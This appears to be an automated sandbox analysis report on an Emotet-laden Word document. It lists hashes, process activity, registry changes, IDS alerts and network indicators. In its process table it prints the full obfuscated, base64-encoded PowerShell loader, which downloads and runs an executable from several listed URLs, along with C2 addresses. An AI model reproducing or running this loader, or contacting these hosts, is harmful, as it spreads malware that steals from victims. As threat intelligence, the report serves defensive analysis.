| download: | ctza3htm-72936-630229-k1mnsz-dvmy |
| Full analysis: | https://app.any.run/tasks/472265b9-20d6-4952-8d15-14d4b465a6a4 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 07, 2019, 00:34:55 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Id expedita sunt., Author: Danilo Bussmann, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 6 23:21:00 2019, Last Saved Time/Date: Fri Dec 6 23:21:00 2019, Number of Pages: 1, Number of Words: 59, Number of Characters: 337, Security: 0 |
| MD5: | D705FED27BE007EECD47654EE1947E47 |
| SHA1: | 97B0BF9CFFB7F5E0FA85BFE2CB07BF25EBA71A03 |
| SHA256: | 28383FE592E93F81C546FD749C6B880430E9858EA7F1E61B5699D0FD2F83E801 |
| SSDEEP: | 3072:SBEvk9BM+4qQchh2y/GdyyktGDWLS0HZWD5w8K7Nk4yD7IBUXbtlWq6ITUVW:SBEvk9BM+4qQcv2k4otGiL3HJk4yD7bX |
MALICIOUS
Application was dropped or rewritten from another process
- 839.exe (PID: 920)
- 839.exe (PID: 2932)
- serialfunc.exe (PID: 4052)
- serialfunc.exe (PID: 2436)
Downloads executable files from the Internet
- powershell.exe (PID: 2876)
Connects to CnC server
- serialfunc.exe (PID: 2436)
EMOTET was detected
- serialfunc.exe (PID: 2436)
Changes the autorun value in the registry
- serialfunc.exe (PID: 2436)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 2876)
Executable content was dropped or overwritten
- powershell.exe (PID: 2876)
- 839.exe (PID: 2932)
Application launched itself
- 839.exe (PID: 920)
Creates files in the user directory
- powershell.exe (PID: 2876)
Starts itself from another location
- 839.exe (PID: 2932)
PowerShell script executed
- powershell.exe (PID: 2876)
Connects to server without host name
- serialfunc.exe (PID: 2436)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 584)
Creates files in the user directory
- WINWORD.EXE (PID: 584)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Id expedita sunt. |
|---|---|
| Subject: | - |
| Author: | Danilo Bussmann |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:12:06 23:21:00 |
| ModifyDate: | 2019:12:06 23:21:00 |
| Pages: | 1 |
| Words: | 59 |
| Characters: | 337 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 2 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 395 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 584 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ctza3htm-72936-630229-k1mnsz-dvmy.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 920 | "C:\Users\admin\839.exe" | C:\Users\admin\839.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2436 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2876 | powershell -w hidden -en JABIAGIAdgBuAHEAaQB0AG0AaQByAD0AJwBXAGMAcAB0AGcAZAB1AGQAawBhAHIAawAnADsAJABMAHMAdwB4AGYAYgBtAGoAdwBhAGQAIAA9ACAAJwA4ADMAOQAnADsAJABDAGUAbgBvAGEAYQBhAG8APQAnAE0AcwBtAGoAYwBjAGEAcAAnADsAJABPAGQAdQBtAHYAaAB3AGEAagB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAHMAdwB4AGYAYgBtAGoAdwBhAGQAKwAnAC4AZQB4AGUAJwA7ACQAWgB4AHAAcQB4AGkAcQBiAGcAPQAnAFIAeABpAHIAaQB2AGQAZwBxAHcAJwA7ACQAWgBrAHoAZABuAHMAegBtAHQAawBjAD0AJgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcAZQBiAGMATABpAGUAbgBUADsAJABLAGkAYQBzAGcAbABsAGoAeAB4AHEAPQAnAGgAdAB0AHAAOgAvAC8AbgBnAGkAdgBlAHUALgBjAG8AbQAvAGgAYwB5ADUAdQAvAGkAYwB2ADQALwAqAGgAdAB0AHAAOgAvAC8AbABhAGsAZQB3AGkAbgAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AagAxADkAeAAvACoAaAB0AHQAcAA6AC8ALwBzAG8AbABhAHIAcwBpAHMAdABlAG0ALgBuAGUAdAAvAGQAbwBjAC8AOABtAGUANAB4AC8AKgBoAHQAdABwADoALwAvAHYAYQBuAGcAdQBhAHIAZABlAHMAaQBnAG4AcwAuAGMAbwBtAC8AYQBrAGIAYQBkAG0AaQBuAHQAbwBuAC8AMAA0ADEAMgAvACoAaAB0AHQAcAA6AC8ALwBuAG8AdwBvAHQAbgBpAGsALgBjAG8AbQAvAG4AcQByAGcAbwA4AC8AYwB5ADMAYQA2AC8AJwAuACIAUwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAFMAdABrAGkAdQBoAHkAcQB2AHAAPQAnAEYAcAB3AHEAcgBrAHkAaQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUABmAGEAbQBqAGgAdAB5AGIAcAAgAGkAbgAgACQASwBpAGEAcwBnAGwAbABqAHgAeABxACkAewB0AHIAeQB7ACQAWgBrAHoAZABuAHMAegBtAHQAawBjAC4AIgBEAGAATwBXAGAATgBsAG8AYQBEAGYAYABJAGwARQAiACgAJABQAGYAYQBtAGoAaAB0AHkAYgBwACwAIAAkAE8AZAB1AG0AdgBoAHcAYQBqAHUAKQA7ACQAVQB2AGQAcgB1AGcAeABpAHAAbQBsAD0AJwBYAG0AYQB3AHUAaQB0AHEAYwBuAGgAbQB0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATwBkAHUAbQB2AGgAdwBhAGoAdQApAC4AIgBsAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADMAOQA1ADEAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAQQBgAFIAVAAiACgAJABPAGQAdQBtAHYAaAB3AGEAagB1ACkAOwAkAEcAeABmAG8AYwB6AHAAZQBjAG0AcgA9ACcAQQB5AHAAcgBzAHoAZAByAG4AZQAnADsAYgByAGUAYQBrADsAJABaAHMAaAB3AGUAYgBoAGsAPQAnAE8AZwB6AHQAeAB4AHYAdABoAHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBwAHIAdQBhAGEAagB4AD0AJwBGAG0AYwBoAGgAaQB4AGwAawBqAHMAcQAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2932 | --95de7c | C:\Users\admin\839.exe | 839.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 4052 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 839.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
Total events
2 285
Read events
1 462
Write events
694
Delete events
129
Modification events
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | m(b |
Value: 6D28620048020000010000000000000000000000 | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (584) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1334247486 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA8CD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\13C2642A.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3CE1D223.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\969C9DC8.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7559B329.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\31F16F16.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\94AB681F.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\337A394.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4E744685.wmf | — | |
MD5:— | SHA256:— | |||
| 584 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\32FD92C2.wmf | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
4
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2876 | powershell.exe | GET | 200 | 162.241.24.26:80 | http://lakewin.org/wp-admin/j19x/ | US | executable | 308 Kb | suspicious |
2436 | serialfunc.exe | POST | 200 | 107.2.2.28:80 | http://107.2.2.28/VjipnZzrtpg2Tv | US | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2876 | powershell.exe | 49.235.41.178:80 | ngiveu.com | — | CN | suspicious |
2436 | serialfunc.exe | 107.2.2.28:80 | — | Comcast Cable Communications, LLC | US | malicious |
2876 | powershell.exe | 162.241.24.26:80 | lakewin.org | CyrusOne LLC | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ngiveu.com |
| suspicious |
dns.msftncsi.com |
| shared |
lakewin.org |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2876 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2876 | powershell.exe | A Network Trojan was detected | AV INFO Suspicious EXE download from WordPress folder |
2876 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2876 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2436 | serialfunc.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 2 |
2436 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2436 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2436 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1 ETPRO signatures available at the full report